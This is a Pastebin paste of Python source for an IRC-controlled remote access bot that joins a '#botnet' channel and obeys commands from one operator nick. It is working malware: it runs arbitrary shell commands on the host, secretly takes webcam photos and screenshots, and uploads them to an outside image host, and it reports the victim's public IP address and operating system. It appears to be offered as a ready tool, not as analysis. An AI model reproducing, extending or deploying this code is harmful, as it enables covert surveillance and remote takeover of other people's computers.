Advertisement
Guest User

Untitled

a guest
Nov 3rd, 2018
110
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.23 KB | None | 0 0
  1. import irc.bot
  2. import irc.strings
  3. from irc.client import ip_numstr_to_quad, ip_quad_to_numstr
  4. import os
  5. import socket
  6. import numpy as np
  7. import cv2
  8. import base64
  9. from urllib.request import urlopen
  10. import platform
  11. from platform import platform
  12. import pyautogui
  13. import time
  14. import requests
  15. import ftplib
  16. import requests
  17. import random
  18.  
  19.  
  20. #-------------------------------- system function ------------------------------------------
  21.  
  22. def post_img(file):
  23.     print("sending: " + file)
  24.     files = {
  25.         'key': (None, '5cKOWn0nNVVb1J2jdiBkMOtrJ3sIbQtE'),
  26.         'file': (file, open(file, 'rb')),
  27.     }
  28.  
  29.     return str(requests.post('https://imagebin.ca/upload.php', files=files).text.split("url:")[1]).strip()
  30.  
  31. def info():      #pour recup l'ip et l'os
  32.     page = urlopen("http://www.monip.org/").read().decode("utf-8")
  33.     ip = page.split("IP : ")[1].split("<br>")[0]
  34.     return str(ip) + "::" + str(platform())
  35.  
  36. def genRandomName(charNb=6):
  37.     stringbuilder = ""
  38.     for x in range(charNb):
  39.         stringbuilder += random.choice("qwertyuiopasdfghjklzxcvbnm1234567890")
  40.     return stringbuilder
  41.  
  42. def takePicture():
  43.     cam = cv2.VideoCapture(0)
  44.     rt, frame = cam.read()
  45.     cam.release()
  46.     img_name = genRandomName()+".png"
  47.     cv2.imwrite(img_name, frame)
  48.     return img_name
  49.  
  50. def screenshot():
  51.     image = pyautogui.screenshot()
  52.     img_name = genRandomName()+".png"
  53.     image.save(img_name)
  54.     return img_name
  55.  
  56.  
  57.  
  58. #------------------------------------ bot -------------------------------------------
  59.  
  60. class TestBot(irc.bot.SingleServerIRCBot):
  61.     def __init__(self, channel, nickname, server, port):
  62.         irc.bot.SingleServerIRCBot.__init__(
  63.             self, [(server, port)], nickname, nickname)
  64.         self.channel = channel
  65.         print("started")
  66.  
  67.     def on_nicknameinuse(self, c, e):
  68.         c.nick(c.get_nickname() + "_")
  69.  
  70.     def on_welcome(self, c, e):
  71.         c.join(self.channel)
  72.         print("connected")
  73.  
  74.     def on_privmsg(self, c, e):
  75.         self.do_command(e, e.arguments[0])
  76.  
  77.     def on_pubmsg(self, c, e):
  78.         self.do_command(e, e.arguments[0])
  79.  
  80.     def on_dccmsg(self, c, e):
  81.         pass
  82.  
  83.     def on_dccchat(self, c, e):
  84.         if len(e.arguments) != 2:
  85.             return
  86.         args = e.arguments[1].split()
  87.         if len(args) == 4:
  88.             try:
  89.                 address = ip_numstr_to_quad(args[2])
  90.                 port = int(args[3])
  91.             except ValueError:
  92.                 return
  93.             self.dcc_connect(address, port)
  94.  
  95.     def do_command(self, e, cmd):           #bot mainloop
  96.         nick = e.source.nick
  97.         print(nick + ": " + cmd)
  98.         args = cmd.split(" ")
  99.        
  100.         if nick == "Kysan":
  101.             c = self.connection
  102.             c.notice(nick, "treatment...")
  103.  
  104.             if cmd == "disconnect":
  105.                 self.disconnect()
  106.  
  107.             elif cmd == "die":
  108.                 self.die()
  109.  
  110.             elif args[0] == "cmd":
  111.                 os.system(" ".join(args[1:]))
  112.  
  113.             elif cmd == "cam":
  114.                 file = takePicture()
  115.                 print(file)
  116.                 link = post_img(file)
  117.                 c.notice(nick, "uploaded on: "+str(link))
  118.  
  119.             elif args[0] == "screenshot":
  120.                 file = screenshot()
  121.                 print(file)
  122.                 link = post_img(file)
  123.                 c.notice(nick, "uploaded on: "+str(link))
  124.  
  125.             elif cmd == "info":
  126.                 c.notice(nick, info())
  127.  
  128.             elif cmd == "help":
  129.                 c.notice(nick, "availiable commands:")
  130.                 c.notice(nick, "disconnect, cam, screenshot, info, cmd")
  131.  
  132.             #elif args[0] == exec: a faire
  133.             elif cmd == "getcwd":
  134.                 c.notice(nick, os.getcwd())
  135.  
  136.             elif args[0] == "cd":
  137.                 os.system("cd "+ " ".join(args[1:]))
  138.  
  139.             else:
  140.                 c.notice(nick, "Unknow command: " + cmd)
  141.                 c.notice(nick, "type help for commands list")
  142.  
  143. #--------------------------------- start ----------------------------
  144.  
  145. def main():
  146.     bot = TestBot("#botnet", os.getenv("USERNAME")+genRandomName(10), "irc.root-me.org", 6667)
  147.     bot.start()
  148.  
  149. if __name__ == "__main__":
  150.     main()
  151.  
  152. #made by Kysan
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement